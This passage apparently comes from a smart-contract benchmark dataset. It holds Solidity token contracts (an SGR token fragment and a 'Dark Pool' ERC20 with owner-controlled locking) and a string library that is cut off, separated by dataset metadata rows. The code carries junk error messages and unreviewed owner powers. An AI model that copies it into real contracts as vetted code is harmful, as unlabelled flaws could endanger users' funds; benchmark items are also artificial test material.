function uponTransferSgrToSgnHolder(address _to, uint256 _value) external;
function afterTransferSgrToSgnHolder(address _to, uint256 _value) external;
function postTransferEthToSgrHolder(address _to, uint256 _value, bool _status) external;
function getDepositParams() external view returns (address, uint256);
function getWithdrawParams() external view returns (address, uint256);
}
interface IContractAddressLocator {
function getContractAddress(bytes32 _identifier) external view returns (address);
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ;
bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager";
bytes32 internal constant _ISGRToken_ = "ISGRToken" ;
bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ;
bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ;
IContractAddressLocator private contractAddressLocator;
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
interface ISogurExchanger {
function transferSgrToSgnHolder(address _to, uint256 _value) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner,
address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(address spender,
uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender,
uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from], "sdjfndskjfndskjfb");
require(to != address(0), "asfdsf");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0, "heerrrrrsss");
require(value <= _balances[account], "heerrrrr");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
}
interface ISGRTokenInfo {
function getName() external pure returns (string);
function getSymbol() external pure returns (string);
function getDecimals() external pure returns (uint8);
}
contract SGRToken is ERC20, ContractAddressLocatorHolder, IMintListener, ISogurExchanger, IPaymentHandler {
string public constant VERSION = "2.0.0";
bool public initialized;
event SgrTokenInitialized(address indexed _initializer, address _sgaToSGRTokenExchangeAddress, uint256 _sgaToSGRTokenExchangeSGRSupply);
address public constant SGR_MINTED_FOR_SGN_HOLDERS = address(keccak256("SGR_MINTED_FOR_SGN_HOLDERS"));
constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {}
function getSGRTokenManager() public view returns (ISGRTokenManager) {
return ISGRTokenManager(getContractAddress(_ISGRTokenManager_));
}
function getSGRTokenInfo() public view returns (ISGRTokenInfo) {
return ISGRTokenInfo(getContractAddress(_ISGRTokenInfo_));
}
function name() public view returns (string) {
return getSGRTokenInfo().getName();
}
function symbol() public view returns (string){
return getSGRTokenInfo().getSymbol();
}
function decimals() public view returns (uint8){
return getSGRTokenInfo().getDecimals();
}
modifier onlyIfNotInitialized() {
require(!initialized, "contract already initialized");
_;
}
function() external payable {
ISGRTokenManager sgrTokenManager = getSGRTokenManager();
uint256 amount = sgrTokenManager.exchangeEthForSgr(msg.sender, msg.value);
_mint(msg.sender, amount);
sgrTokenManager.afterExchangeEthForSgr(msg.sender, msg.value, amount);
}
function exchange() external payable {
ISGRTokenManager sgrTokenManager = getSGRTokenManager();
uint256 amount = sgrTokenManager.exchangeEthForSgr(msg.sender, msg.value);
_mint(msg.sender, amount);
sgrTokenManager.afterExchangeEthForSgr(msg.sender, msg.value, amount);
}
function init(address _sgaToSGRTokenExchangeAddress, uint256 _sgaToSGRTokenExchangeSGRSupply) external onlyIfNotInitialized only(_SGAToSGRInitializer_) {
require(_sgaToSGRTokenExchangeAddress != address(0), "SGA to SGR token exchange address is illegal");
initialized = true;
_mint(_sgaToSGRTokenExchangeAddress, _sgaToSGRTokenExchangeSGRSupply);
emit SgrTokenInitialized(msg.sender, _sgaToSGRTokenExchangeAddress, _sgaToSGRTokenExchangeSGRSupply);
}
function transfer(address _to, uint256 _value) public returns (bool) {
ISGRTokenManager sgrTokenManager = getSGRTokenManager();
if (_to == address(this)) {
uint256 amount = sgrTokenManager.exchangeSgrForEth(msg.sender, _value);
_burn(msg.sender, _value);
msg.sender.transfer(amount);
return sgrTokenManager.afterExchangeSgrForEth(msg.sender, _value, amount);
}
sgrTokenManager.uponTransfer(msg.sender, _to, _value);
bool transferResult = super.transfer(_to, _value);
return sgrTokenManager.afterTransfer(msg.sender, _to, _value, transferResult);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
ISGRTokenManager sgrTokenManager = getSGRTokenManager();
require(_to != address(this), "custodian-transfer of SGR into this contract is illegal");
sgrTokenManager.uponTransferFrom(msg.sender, _from, _to, _value);
bool transferFromResult = super.transferFrom(_from, _to, _value);
return sgrTokenManager.afterTransferFrom(msg.sender, _from, _to, _value, transferFromResult);
}
function deposit() external payable {
getSGRTokenManager().uponDeposit(msg.sender, address(this).balance, msg.value);
}
function withdraw() external {
ISGRTokenManager sgrTokenManager = getSGRTokenManager();
uint256 priorWithdrawEthBalance = address(this).balance;
(address wallet, uint256 amount) = sgrTokenManager.uponWithdraw(msg.sender, priorWithdrawEthBalance);
wallet.transfer(amount);
sgrTokenManager.afterWithdraw(msg.sender, wallet, amount, priorWithdrawEthBalance, address(this).balance);
}
function mintSgrForSgnHolders(uint256 _value) external only(_IMintManager_) {
ISGRTokenManager sgrTokenManager = getSGRTokenManager();
sgrTokenManager.uponMintSgrForSgnHolders(_value);
_mint(SGR_MINTED_FOR_SGN_HOLDERS, _value);
sgrTokenManager.afterMintSgrForSgnHolders(_value);
}
function transferSgrToSgnHolder(address _to, uint256 _value) external only(_SgnToSgrExchangeInitiator_) {
ISGRTokenManager sgrTokenManager = getSGRTokenManager();
sgrTokenManager.uponTransferSgrToSgnHolder(_to, _value);
_transfer(SGR_MINTED_FOR_SGN_HOLDERS, _to, _value);
sgrTokenManager.afterTransferSgrToSgnHolder(_to, _value);
}
function transferEthToSgrHolder(address _to, uint256 _value) external only(_IPaymentManager_) {
bool status = _to.send(_value);
getSGRTokenManager().postTransferEthToSgrHolder(_to, _value, status);
}
function getEthBalance() external view returns (uint256) {
return address(this).balance;
}
function getDepositParams() external view returns (address, uint256) {
return getSGRTokenManager().getDepositParams();
}
function getWithdrawParams() external view returns (address, uint256) {
return getSGRTokenManager().getWithdrawParams();
}
}
| 274,830 | 12,076 |
3126af48d66cc04486d0df2b1b9c40fecf3b58d64df734eaee14278996cb1879
| 14,160 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x42266bd16b66b5ff86cc9c63e52d1394778dc596.sol
| 3,587 | 13,687 |
pragma solidity 0.5.11;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: the caller must be owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(value, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(value, "ERC20: burn amount exceeds total supply");
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract ERC20Pausable is ERC20Burnable, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
function burn(uint256 amount) public whenNotPaused {
super.burn(amount);
}
function burnFrom(address account, uint256 amount) public whenNotPaused {
super.burnFrom(account, amount);
}
}
contract DPToken is ERC20Pausable {
string public constant name = "Dark Pool";
string public constant symbol = "DP";
uint8 public constant decimals = 8;
uint256 internal constant INIT_TOTALSUPPLY = 210000000;
mapping(address => uint256) public lockedAmount;
mapping (address => LockItem[]) public lockInfo;
uint256 private constant DAY_TIMES = 24 * 60 * 60;
event SendAndLockToken(address indexed beneficiary, uint256 lockAmount, uint256 lockTime);
event ReleaseToken(address indexed beneficiary, uint256 releaseAmount);
event LockToken(address indexed targetAddr, uint256 lockAmount);
event UnlockToken(address indexed targetAddr, uint256 releaseAmount);
struct LockItem {
address lock_address;
uint256 lock_amount;
uint256 lock_time;
uint256 lock_startTime;
}
constructor() public {
_totalSupply = formatDecimals(INIT_TOTALSUPPLY);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function sendAndLockToken(address beneficiary, uint256 lockAmount, uint256 lockDays) public onlyOwner {
require(beneficiary != address(0), "DPToken: beneficiary is the zero address");
require(lockAmount > 0, "DPToken: the amount of lock is 0");
require(lockDays > 0, "DPToken: the days of lock is 0");
uint256 _lockAmount = formatDecimals(lockAmount);
uint256 _lockTime = lockDays.mul(DAY_TIMES);
lockInfo[beneficiary].push(LockItem(beneficiary, _lockAmount, _lockTime, now));
emit SendAndLockToken(beneficiary, _lockAmount, _lockTime);
_balances[owner] = _balances[owner].sub(_lockAmount, "DPToken: owner doesn't have enough tokens");
emit Transfer(owner, address(0), _lockAmount);
}
function releaseToken(address beneficiary) public returns (bool) {
uint256 amount = getReleasableAmount(beneficiary);
require(amount > 0, "DPToken: no releasable tokens");
for(uint256 i; i < lockInfo[beneficiary].length; i++) {
uint256 lockedTime = (now.sub(lockInfo[beneficiary][i].lock_startTime));
if (lockedTime >= lockInfo[beneficiary][i].lock_time) {
delete lockInfo[beneficiary][i];
}
}
_balances[beneficiary] = _balances[beneficiary].add(amount);
emit Transfer(address(0), beneficiary, amount);
emit ReleaseToken(beneficiary, amount);
return true;
}
function getReleasableAmount(address beneficiary) public view returns (uint256) {
require(lockInfo[beneficiary].length != 0, "DPToken: the address has not lock items");
uint num = 0;
for(uint256 i; i < lockInfo[beneficiary].length; i++) {
uint256 lockedTime = (now.sub(lockInfo[beneficiary][i].lock_startTime));
if (lockedTime >= lockInfo[beneficiary][i].lock_time) {
num = num.add(lockInfo[beneficiary][i].lock_amount);
}
}
return num;
}
function lockToken(address targetAddr, uint256 lockAmount) public onlyOwner {
require(targetAddr != address(0), "DPToken: target address is the zero address");
require(lockAmount > 0, "DPToken: the amount of lock is 0");
uint256 _lockAmount = formatDecimals(lockAmount);
lockedAmount[targetAddr] = lockedAmount[targetAddr].add(_lockAmount);
emit LockToken(targetAddr, _lockAmount);
}
function unlockToken(address targetAddr, uint256 lockAmount) public onlyOwner {
require(targetAddr != address(0), "DPToken: target address is the zero address");
require(lockAmount > 0, "DPToken: the amount of lock is 0");
uint256 _lockAmount = formatDecimals(lockAmount);
if(_lockAmount >= lockedAmount[targetAddr]) {
lockedAmount[targetAddr] = 0;
} else {
lockedAmount[targetAddr] = lockedAmount[targetAddr].sub(_lockAmount);
}
emit UnlockToken(targetAddr, _lockAmount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
require(_balances[msg.sender].sub(lockedAmount[msg.sender]) >= amount, "DPToken: transfer amount exceeds the vailable balance of msg.sender");
return super.transfer(recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
require(_balances[sender].sub(lockedAmount[sender]) >= amount, "DPToken: transfer amount exceeds the vailable balance of sender");
return super.transferFrom(sender, recipient, amount);
}
function burn(uint256 amount) public {
require(_balances[msg.sender].sub(lockedAmount[msg.sender]) >= amount, "DPToken: destroy amount exceeds the vailable balance of msg.sender");
super.burn(amount);
}
function burnFrom(address account, uint256 amount) public {
require(_balances[account].sub(lockedAmount[account]) >= amount, "DPToken: destroy amount exceeds the vailable balance of account");
super.burnFrom(account, amount);
}
function batchTransfer(address[] memory addrs, uint256[] memory amounts) public onlyOwner returns(bool) {
require(addrs.length == amounts.length, "DPToken: the length of the two arrays is inconsistent");
require(addrs.length <= 150, "DPToken: the number of destination addresses cannot exceed 150");
for(uint256 i = 0;i < addrs.length;i++) {
require(addrs[i] != address(0), "DPToken: target address is the zero address");
require(amounts[i] != 0, "DPToken: the number of transfers is 0");
transfer(addrs[i], formatDecimals(amounts[i]));
}
return true;
}
function formatDecimals(uint256 value) internal pure returns (uint256) {
return value.mul(10 ** uint256(decimals));
}
}
| 166,395 | 12,077 |
7d70f9edfb5af33e19aa5d683ae87a9c00f97fb0a3615e0e482209be79f062e1
| 23,780 |
.sol
|
Solidity
| false |
343353480
|
Assetonchain-Technology-Ltd/eQualification
|
38263a05112a194feadde01f4e81aaa5f5813bfa
|
contracts/Utils/strings.sol
| 3,731 | 14,361 |
pragma solidity >=0.4.14;
// SPDX-License-Identifier: GPL-3.0-or-later
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice memory self) internal pure returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
function compare(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask = uint256(-1); // 0xffff...
if(shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
function ord(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
